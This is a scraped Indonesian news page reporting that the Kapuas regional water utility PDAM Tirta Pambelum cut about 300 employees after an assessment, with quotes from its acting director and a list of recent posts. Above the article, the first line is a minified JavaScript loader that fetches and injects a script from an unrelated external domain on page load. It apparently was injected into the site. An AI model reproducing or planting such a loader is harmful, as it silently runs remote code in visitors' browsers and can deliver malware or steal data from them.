(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

PDAM Kapuas Nonaktifkan 300 Karyawan, Ini Penjelasan Pjs Direktur


KANALKALIMANTAN.COM, KUALA KAPUAS – Perusahaan Daerah Air Minum (PDAM) Tirta Pambelum Kapuas memangkas jumlah karyawan. Menyusul hasil test assessmen, ratusan karyawan terpaksa dinonaktifkan setelah menerima hasil pengumuman akhir.

Mereka tidak lagi bekerja pada perusahaan daerah milik Pemkab Kapuas tersebut. Hal itu diketahui pasca diumumkannya hasil assessment karyawan PDAM Tirta Pambelum Kapuas itu, Jumat (21/1/2022).

Pada surat pengumuman nomor UM.01.11/Perumda Tirta Pembelum/84/2022 tertanggal 21 Januari 2022 dan ditandatangani Pjs Direktur PDAM Tirta Pambelum Kapuas Kristanto, dan diketahui Dewan Pengawas PDAM Kapuas Drs Edy Lukman Hakim, diumumkan nama-nama pegawai baik yang berstatus tetap, calon pegawai (Capeg) dan tenaga kontrak yang dinyatakan lulus dan masih akan melanjutkan kembali bekerja di PDAM Kapuas.

Pjs Direktur PDAM Tirta Pambelum Kapuas, Kristanto kepada Kanalkalimantan.com, karyawan yang melanjutkan hanya 146 orang, kurang lebih 300 orang dinonaktifkan.

 

Pjs Direktur PDAM Tirta Pambelum Kapuas Kristanto. Foto : ags

Baca juga : WADUH. Timnas Wanita Indonesia ‘Dibantai’ Australia 18-0 di Piala Asia Putri 2022

Menurut Kristanto, nama-nama karyawan berjumlah 146 yang lolos termasuk juga karyawan lama dan karyawan baru, ada yang berstatatus Capeg, pegawai tetap maupun karyawan kontrak.

“Sekali lagi saya berharap kawan-kawan mau menerima kondisi dengan lapang dada, karena memang kondisi perusahaan sangat sulit untuk berkembang. Kalau rasionalisasi ini tidak dilakukan maka perusahaan akan kolaps. Jika kolaps maka akan kesulitan melayani masyarakat, itu yang paling utama, jadi saya mohon kawan-kawan bisa legowo menerima hal ini,” ujar Kristanto.

Masih menurut Kristanto, rasionalisasi karyawan sudah dibicarakan dengan pemerintah daerah selaku pemilik modal.
“Hak pegawai seluruhnya, baik itu utang gaji yang belum terbayarkan, kemudian dana pensiun juga akan dibayarkan dan lainnya akan kita bayarkan. Hanya nanti pembayarannya dilakukan secara bertahap sesuai dengan kondisi keuangan perusahaan,” pungkasnya. (kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.